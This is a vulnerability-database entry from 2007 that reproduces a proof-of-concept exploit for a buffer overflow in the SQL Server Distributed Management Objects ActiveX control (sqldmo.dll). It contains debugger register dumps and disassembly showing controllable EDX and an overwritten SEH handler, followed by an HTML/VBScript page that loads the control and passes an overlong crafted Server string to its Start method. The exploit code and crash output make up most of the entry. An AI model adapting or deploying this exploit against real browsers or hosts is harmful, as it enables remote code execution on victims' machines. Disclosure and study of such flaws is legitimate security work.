Microsoft SQL Server Distributed Management Objects (sqldmo.dll) BoF

🗓️ 11 Sep 2007 00:00:00Reported by RootType
Microsoft SQL Server Distributed Management Objects (sqldmo.dll) Buffer Overflo

                                                &lt;!--
18.48&nbsp;01/09/2007
Microsoft&nbsp;SQL&nbsp;Server&nbsp;Distributed&nbsp;Management&nbsp;Objects&nbsp;OLE&nbsp;DLL&nbsp;for
SQL&nbsp;Enterprise&nbsp;Manager&nbsp;(sqldmo.dll)&nbsp;remote&nbsp;buffer&nbsp;overflow&nbsp;poc

file&nbsp;version:&nbsp;2000.085.2004.00
product&nbsp;version:&nbsp;8.05.2004

passing&nbsp;some&nbsp;fuzzy&nbsp;chars&nbsp;to&nbsp;Start&nbsp;method:

EAX&nbsp;00000000
ECX&nbsp;00620062
EDX&nbsp;00620062
EBX&nbsp;1C3A3638&nbsp;SQLDMO.1C3A3638
ESP&nbsp;0013D87C
EBP&nbsp;0013DAA8
ESI&nbsp;03042544
EDI&nbsp;0013DAA0&nbsp;ASCII&nbsp;&quot;|T&quot;
EIP&nbsp;1C1C9800&nbsp;SQLDMO.1C1C9800

...
1C1C97EA&nbsp;&nbsp;&nbsp;8D8D&nbsp;E4FDFFFF&nbsp;&nbsp;&nbsp;&nbsp;LEA&nbsp;ECX,DWORD&nbsp;PTR&nbsp;SS:[EBP-21C]
1C1C97F0&nbsp;&nbsp;&nbsp;51&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;PUSH&nbsp;ECX
1C1C97F1&nbsp;&nbsp;&nbsp;8B95&nbsp;E0FDFFFF&nbsp;&nbsp;&nbsp;&nbsp;MOV&nbsp;EDX,DWORD&nbsp;PTR&nbsp;SS:[EBP-220]
1C1C97F7&nbsp;&nbsp;&nbsp;8B02&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MOV&nbsp;EAX,DWORD&nbsp;PTR&nbsp;DS:[EDX]
1C1C97F9&nbsp;&nbsp;&nbsp;8B8D&nbsp;E0FDFFFF&nbsp;&nbsp;&nbsp;&nbsp;MOV&nbsp;ECX,DWORD&nbsp;PTR&nbsp;SS:[EBP-220]
1C1C97FF&nbsp;&nbsp;&nbsp;51&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;PUSH&nbsp;ECX
1C1C9800&nbsp;&nbsp;&nbsp;FF90&nbsp;DC010000&nbsp;&nbsp;&nbsp;&nbsp;CALL&nbsp;DWORD&nbsp;PTR&nbsp;DS:[EAX+1DC]&nbsp;&lt;---&nbsp;exception
access&nbsp;violation&nbsp;when&nbsp;reading&nbsp;000001DC

by&nbsp;manipulating&nbsp;edx&nbsp;you&nbsp;have&nbsp;the&nbsp;first&nbsp;exploitable&nbsp;condition...


also&nbsp;seh&nbsp;is&nbsp;overwritten,&nbsp;then:

EAX&nbsp;00000000
ECX&nbsp;00610061
EDX&nbsp;7C9137D8&nbsp;ntdll.7C9137D8
EBX&nbsp;00000000
ESP&nbsp;0013D4AC
EBP&nbsp;0013D4CC
ESI&nbsp;00000000
EDI&nbsp;00000000
EIP&nbsp;00610061

object&nbsp;safety&nbsp;report:
RegKey&nbsp;Safe&nbsp;for&nbsp;Script:&nbsp;False
RegKey&nbsp;Safe&nbsp;for&nbsp;Init:&nbsp;False
Implements&nbsp;IObjectSafety:&nbsp;True

means:&nbsp;works&nbsp;according&nbsp;to&nbsp;security&nbsp;settings&nbsp;for&nbsp;the&nbsp;Internet&nbsp;zone
needs&nbsp;Activex&nbsp;&quot;not&nbsp;marked&nbsp;as&nbsp;safe&quot;&nbsp;option&nbsp;set&nbsp;to&nbsp;&quot;ask&quot;&nbsp;or&nbsp;&quot;enabled&quot;&nbsp;(not&nbsp;the&nbsp;predefined&nbsp;one)

rgod.
http://retrogod.altervista.org
--&gt;
&lt;html&gt;
&lt;object&nbsp;classid='clsid:10020200-E260-11CF-AE68-00AA004A34D5'&nbsp;id='SQLServer'&nbsp;/&gt;&lt;/object&gt;
&lt;script&nbsp;language='vbscript'&gt;

targetFile&nbsp;=&nbsp;&quot;C:\Programmi\Microsoft&nbsp;SQL&nbsp;Server\80\Tools\Binn\sqldmo.dll&quot;
prototype&nbsp;&nbsp;=&nbsp;&quot;Sub&nbsp;Start&nbsp;(&nbsp;ByVal&nbsp;StartMode&nbsp;As&nbsp;Boolean&nbsp;,&nbsp;&nbsp;[&nbsp;ByVal&nbsp;Server&nbsp;As&nbsp;Variant&nbsp;]&nbsp;,&nbsp;&nbsp;[&nbsp;ByVal&nbsp;Login&nbsp;As&nbsp;Variant&nbsp;]&nbsp;,&nbsp;&nbsp;[&nbsp;ByVal&nbsp;Password&nbsp;As&nbsp;Variant&nbsp;]&nbsp;)&quot;
memberName&nbsp;=&nbsp;&quot;Start&quot;
progid&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&nbsp;&quot;SQLDMO.SQLServer&quot;
argCount&nbsp;&nbsp;&nbsp;=&nbsp;4

'edx&nbsp;=&nbsp;ecx
edx&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&quot;bb&quot;
seh&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&quot;aa&quot;
StartMode&nbsp;=True
Server&nbsp;&nbsp;&nbsp;&nbsp;=&quot;http://ZZZZ\YYYY\XXXX\WW?W\VVVV\AAAA\AAA\AAAAA\AAAA\AA@AA\tes\test\test\tes.\ttest\MMMM\LLLL\KKK\JJJJ\IIII\HH.H\GGGGG\FFFF\EEEE\DDD\CCCC\BBBB\AAA\A\\\\\\\\\:#$%AAAA\BBBB\CCCC\DD?D\EEEE\FFFF\GGG\\:#$%\HHHHH\IIII\te@st\tes\test\test\tes.aaaabbbbccccddddeeeeffffgggghhhhiiiiaaaaaaa&quot;&nbsp;+&nbsp;seh&nbsp;+&nbsp;&quot;CCDmmm&quot;&nbsp;+&nbsp;edx&nbsp;+&nbsp;&quot;nnnBBBB\AAAA\ZZZ\Z\\\\\\\\\:#$%YYYY\XXXX\WWWW\VV?V\UUUU\TTTT\SSS\\:#$%\RRRRR\QQQQ\PP@PP\OOO\NNNN\MMMM\LLL.\KKKKK\JJJJ\IIII\HHH\GGGG\FFFF\EE.E\DDDDD\CCCC\BBBB\AAA\AAAA\AAAA\AAA\A\\\\\\\\\:#$%AAAA\AAAA\AAAA\AA?A\wwww\vvvv\uuu\\:#$%\ttttt\ssss\rr@rr\qqq\pppp\oooo\nnn.\mmmmm\llll\kkkk\jjj\iiii\hhhh\gg.g\fffff\eeee\dddd\ccc\bbbb\aaaa\AAA\A\\\\\\\&quot;
Login&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&quot;aaaaaaaa&quot;
Password&nbsp;&nbsp;=&quot;bbbbbbbb&quot;

SQLServer.Start&nbsp;StartMode&nbsp;,Server&nbsp;,Login&nbsp;,Password

&lt;/script&gt;
&lt;/html&gt;
11 Sep 2007 00:00Current
7.1High risk
Vulners AI Score7.1